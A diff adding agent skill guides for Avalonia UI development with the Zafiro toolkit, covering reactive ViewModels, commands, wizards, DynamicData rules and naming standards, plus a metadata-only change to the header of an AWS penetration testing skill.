@@ -0,0 +1,68 @@
+# ViewModels & Commands
+
+In a Zafiro-based application, ViewModels should be functional, reactive, and resilient.
+
+## Reactive ViewModels
+
+Use `ReactiveObject` as the base class. Properties should be defined using the `[Reactive]` attribute (from ReactiveUI.SourceGenerators) for brevity.
+
+```csharp
+public partial class MyViewModel : ReactiveObject
+{
+    [Reactive] private string name;
+    [Reactive] private bool isBusy;
+}
+```
+
+### Observation and Transformation
+
+Use `WhenAnyValue` to react to property changes:
+
+```csharp
+this.WhenAnyValue(x => x.Name)
+    .Select(name => !string.IsNullOrEmpty(name))
+    .ToPropertyEx(this, x => x.CanSubmit);
+```
+
+## Enhanced Commands
+
+Zafiro uses `IEnhancedCommand`, which extends `ICommand` and `IReactiveCommand` with additional metadata like `Name` and `Text`.
+
+### Creating a Command
+
+Use `ReactiveCommand.Create` or `ReactiveCommand.CreateFromTask` and then `Enhance()` it.
+
+```csharp
+public IEnhancedCommand Submit { get; }
+
+public MyViewModel()
+{
+    Submit = ReactiveCommand.CreateFromTask(OnSubmit, canSubmit)
+        .Enhance(text: "Submit Data", name: "SubmitCommand");
+}
+```
+
+### Error Handling
+
+Use `HandleErrorsWith` to automatically channel command errors to the `NotificationService`.
+
+```csharp
+Submit.HandleErrorsWith(uiServices.NotificationService, "Submission Failed")
+    .DisposeWith(disposable);
+```
+
+## Disposables
+
+Always use a `CompositeDisposable` to manage subscriptions and command lifetimes.
+
+```csharp
+public class MyViewModel : ReactiveObject, IDisposable
+{
+    private readonly CompositeDisposable disposables = new();
+
+    public void Dispose() => disposables.Dispose();
+}
+```
+
+> [!TIP]
+> Use `.DisposeWith(disposables)` on any observable subscription or command to ensure proper cleanup.

skills/avalonia-viewmodels-zafiro/wizards.md

@@ -0,0 +1,47 @@
+# Wizards & Flows
+
+Complex multi-step processes are handled using the `SlimWizard` pattern. This provides a declarative way to define steps, navigation logic, and final results.
+
+## Defining a Wizard
+
+Use `WizardBuilder` to define the steps. Each step corresponds to a ViewModel.
+
+```csharp
+SlimWizard<string> wizard = WizardBuilder
+    .StartWith(() => new Step1ViewModel(data))
+        .NextUnit()
+        .WhenValid()
+    .Then(prevResult => new Step2ViewModel(prevResult))
+        .NextCommand(vm => vm.CustomNextCommand)
+    .Then(result => new SuccessViewModel("Done!"))
+        .Next((_, s) => s, "Finish")
+    .WithCompletionFinalStep();
+```
+
+### Navigation Rules
+
+- **NextUnit()**: Advances when a simple signal is emitted.
+- **NextCommand()**: Advances when a specific command in the ViewModel execution successfully.
+- **WhenValid()**: Wait until the current ViewModel's validation passes before allowing navigation.
+- **Always()**: Navigation is always allowed.
+
+## Navigation Integration
+
+The wizard is navigated using an `INavigator`:
+
+```csharp
+public async Task CreateSomething()
+{
+    var wizard = BuildWizard();
+    var result = await wizard.Navigate(navigator);
+    // Handle result
+}
+```
+
+## Step Configuration
+
+- **WithCompletionFinalStep()**: Marks the wizard as finished when the last step completes.
+- **WithCommitFinalStep()**: Typically used for wizards that perform a final "Save" or "Deploy" action.
+
+> [!NOTE]
+> The `SlimWizard` handles the "Back" command automatically, providing a consistent user experience across different flows.

skills/avalonia-zafiro-development/SKILL.md

@@ -0,0 +1,29 @@
+---
+name: avalonia-zafiro-development
+description: Mandatory skills, conventions, and behavioral rules for Avalonia UI development using the Zafiro toolkit.
+---
+
+# Avalonia Zafiro Development
+
+This skill defines the mandatory conventions and behavioral rules for developing cross-platform applications with Avalonia UI and the Zafiro toolkit. These rules prioritize maintainability, correctness, and a functional-reactive approach.
+
+## Core Pillars
+
+1.  **Functional-Reactive MVVM**: Pure MVVM logic using DynamicData and ReactiveUI.
+2.  **Safety & Predictability**: Explicit error handling with `Result` types and avoidance of exceptions for flow control.
+3.  **Cross-Platform Excellence**: Strictly Avalonia-independent ViewModels and composition-over-inheritance.
+4.  **Zafiro First**: Leverage existing Zafiro abstractions and helpers to avoid redundancy.
+
+## Guides
+
+- [Core Technical Skills & Architecture](core-technical-skills.md): Fundamental skills and architectural principles.
+- [Naming & Coding Standards](naming-standards.md): Rules for naming, fields, and error handling.
+- [Avalonia, Zafiro & Reactive Rules](avalonia-reactive-rules.md): Specific guidelines for UI, Zafiro integration, and DynamicData pipelines.
+- [Zafiro Shortcuts](zafiro-shortcuts.md): Concise mappings for common Rx/Zafiro operations.
+- [Common Patterns](patterns.md): Advanced patterns like `RefreshableCollection` and Validation.
+
+## Procedure Before Writing Code
+
+1.  **Search First**: Search the codebase for similar implementations or existing Zafiro helpers.
+2.  **Reusable Extensions**: If a helper is missing, propose a new reusable extension method instead of inlining complex logic.
+3.  **Reactive Pipelines**: Ensure DynamicData operators are used instead of plain Rx where applicable.

skills/avalonia-zafiro-development/avalonia-reactive-rules.md

@@ -0,0 +1,49 @@
+# Avalonia, Zafiro & Reactive Rules
+
+## Avalonia UI Rules
+
+- **Strict Avalonia**: Never use `System.Drawing`; always use Avalonia types.
+- **Pure ViewModels**: ViewModels must **never** reference Avalonia types.
+- **Bindings Over Code-Behind**: Logic should be driven by bindings.
+- **DataTemplates**: Prefer explicit `DataTemplate`s and typed `DataContext`s.
+- **VisualStates**: Avoid using `VisualStates` unless absolutely required.
+
+## Zafiro Guidelines
+
+- **Prefer Abstractions**: Always look for existing Zafiro helpers, extension methods, and abstractions before re-implementing logic.
+- **Validation**: Use Zafiro's `ValidationRule` and validation extensions instead of ad-hoc reactive logic.
+
+## DynamicData & Reactive Rules
+
+### The Mandatory Approach
+
+- **Operator Preference**: Always prefer **DynamicData** operators (`Connect`, `Filter`, `Transform`, `Sort`, `Bind`, `DisposeMany`) over plain Rx operators when working with collections.
+- **Readable Pipelines**: Build and maintain pipelines as a single, readable chain.
+- **Lifecycle**: Use `DisposeWith` for lifecycle management.
+- **Minimal Subscriptions**: Subscriptions should be minimal, centralized, and strictly for side-effects.
+
+### Forbidden Anti-Patterns
+
+- **Ad-hoc Sources**: Do NOT create new `SourceList` / `SourceCache` on the fly for local problems.
+- **Logic in Subscribe**: Do NOT place business logic inside `Subscribe`.
+- **Operator Mismatch**: Do NOT use `System.Reactive` operators if a DynamicData equivalent exists.
+
+### Canonical Patterns
+
+**Validation of Dynamic Collections:**
+```csharp
+this.ValidationRule(
+        StagesSource
+            .Connect()
+            .FilterOnObservable(stage => stage.IsValid)
+            .IsEmpty(),
+        b => !b,
+        _ => "Stages are not valid")
+    .DisposeWith(Disposables);
+```
+
+**Filtering Nulls:**
+Use `WhereNotNull()` in reactive pipelines.
+```csharp
+this.WhenAnyValue(x => x.DurationPreset).WhereNotNull()
+```

skills/avalonia-zafiro-development/core-technical-skills.md

@@ -0,0 +1,19 @@
+# Core Technical Skills & Architecture
+
+## Mandatory Expertise
+
+The developer must possess strong expertise in:
+- **C# and modern .NET**: Utilizing the latest features of the language and framework.
+- **Avalonia UI**: For cross-platform UI development.
+- **MVVM Architecture**: Maintaining strict separation between UI and business logic.
+- **Clean Code & Clean Architecture**: Focusing on maintainability and inward dependency flow.
+- **Functional Programming in C#**: Embracing immutability and functional patterns.
+- **Reactive Programming**: Expertise in DynamicData and System.Reactive.
+
+## Architectural Principles
+
+- **Pure MVVM**: Mandatory for all UI code. Logic must be independent of UI concerns.
+- **Composition over Inheritance**: Favor modular building blocks over deep inheritance hierarchies.
+- **Inward Dependency Flow**: Abstractions must not depend on implementations.
+- **Immutability**: Prefer immutable structures where practical to ensure predictability.
+- **Stable Public APIs**: Design APIs carefully to ensure long-term stability and clarity.

skills/avalonia-zafiro-development/naming-standards.md

@@ -0,0 +1,15 @@
+# Naming & Coding Standards
+
+## General Standards
+
+- **Explicit Names**: Favor clarity over cleverness.
+- **Async Suffix**: Do **NOT** use the `Async` suffix in method names, even if they return `Task`.
+- **Private Fields**: Do **NOT** use the `_` prefix for private fields.
+- **Static State**: Avoid static state unless explicitly justified and documented.
+- **Method Design**: Keep methods small, expressive, and with low cyclomatic complexity.
+
+## Error Handling
+
+- **Result & Maybe**: Use types from **CSharpFunctionalExtensions** for flow control and error handling.
+- **Exceptions**: Reserved strictly for truly exceptional, unrecoverable situations.
+- **Boundaries**: Never allow exceptions to leak across architectural boundaries.

skills/avalonia-zafiro-development/patterns.md

@@ -0,0 +1,45 @@
+# Common Patterns in Angor/Zafiro
+
+## Refreshable Collections
+
+The `RefreshableCollection` pattern is used to manage lists that can be refreshed via a command, maintaining an internal `SourceCache`/`SourceList` and exposing a `ReadOnlyObservableCollection`.
+
+### Implementation
+
+```csharp
+var refresher = RefreshableCollection.Create(
+        () => GetDataTask(), 
+        model => model.Id)
+    .DisposeWith(disposable);
+
+LoadData = refresher.Refresh;
+Items = refresher.Items;
+```
+
+### Benefits
+- **Automatic Loading**: Handles the command execution and results.
+- **Efficient Updates**: Uses `EditDiff` internally to update items without clearing the list.
+- **UI Friendly**: Exposes `Items` as a `ReadOnlyObservableCollection` suitable for binding.
+
+## Mandatory Validation Pattern
+
+When validating dynamic collections, always use the Zafiro validation extension:
+
+```csharp
+this.ValidationRule(
+        StagesSource
+            .Connect()
+            .FilterOnObservable(stage => stage.IsValid)
+            .IsEmpty(),
+        b => !b,
+        _ => "Stages are not valid")
+    .DisposeWith(Disposables);
+```
+
+## Error Handling Pipeline
+
+Instead of manual `Subscribe`, use `HandleErrorsWith` to pipe errors directly to the user:
+
+```csharp
+LoadProjects.HandleErrorsWith(uiServices.NotificationService, "Could not load projects");
+```

skills/avalonia-zafiro-development/zafiro-shortcuts.md

@@ -0,0 +1,43 @@
+# Zafiro Reactive Shortcuts
+
+Use these Zafiro extension methods to replace standard, more verbose Reactive and DynamicData patterns.
+
+## General Observable Helpers
+
+| Standard Pattern | Zafiro Shortcut |
+| :--- | :--- |
+| `Replay(1).RefCount()` | `ReplayLastActive()` |
+| `Select(_ => Unit.Default)` | `ToSignal()` |
+| `Select(b => !b)` | `Not()` |
+| `Where(b => b).ToSignal()` | `Trues()` |
+| `Where(b => !b).ToSignal()` | `Falses()` |
+| `Select(x => x is null)` | `Null()` |
+| `Select(x => x is not null)` | `NotNull()` |
+| `Select(string.IsNullOrWhiteSpace)` | `NullOrWhitespace()` |
+| `Select(s => !string.IsNullOrWhiteSpace(s))` | `NotNullOrEmpty()` |
+
+## Result & Maybe Extensions
+
+| Standard Pattern | Zafiro Shortcut |
+| :--- | :--- |
+| `Where(r => r.IsSuccess).Select(r => r.Value)` | `Successes()` |
+| `Where(r => r.IsFailure).Select(r => r.Error)` | `Failures()` |
+| `Where(m => m.HasValue).Select(m => m.Value)` | `Values()` |
+| `Where(m => !m.HasValue).ToSignal()` | `Empties()` |
+
+## Lifecycle Management
+
+| Description | Method |
+| :--- | :--- |
+| Dispose previous item before emitting new one | `DisposePrevious()` |
+| Manage lifecycle within a disposable | `DisposeWith(disposables)` |
+
+## Command & Interaction
+
+| Description | Method |
+| :--- | :--- |
+| Add metadata/text to a ReactiveCommand | `Enhance(text, name)` |
+| Automatically show errors in UI | `HandleErrorsWith(notificationService)` |
+
+> [!TIP]
+> Always check `Zafiro.Reactive.ObservableMixin` and `Zafiro.CSharpFunctionalExtensions.ObservableExtensions` before writing custom Rx logic.

skills/aws-penetration-testing/SKILL.md

@@ -1,6 +1,9 @@
 ---
 name: AWS Penetration Testing
 description: This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.
+metadata:
+  author: zebbern
+  version: "1.1"
 ---
 
 # AWS Penetration Testing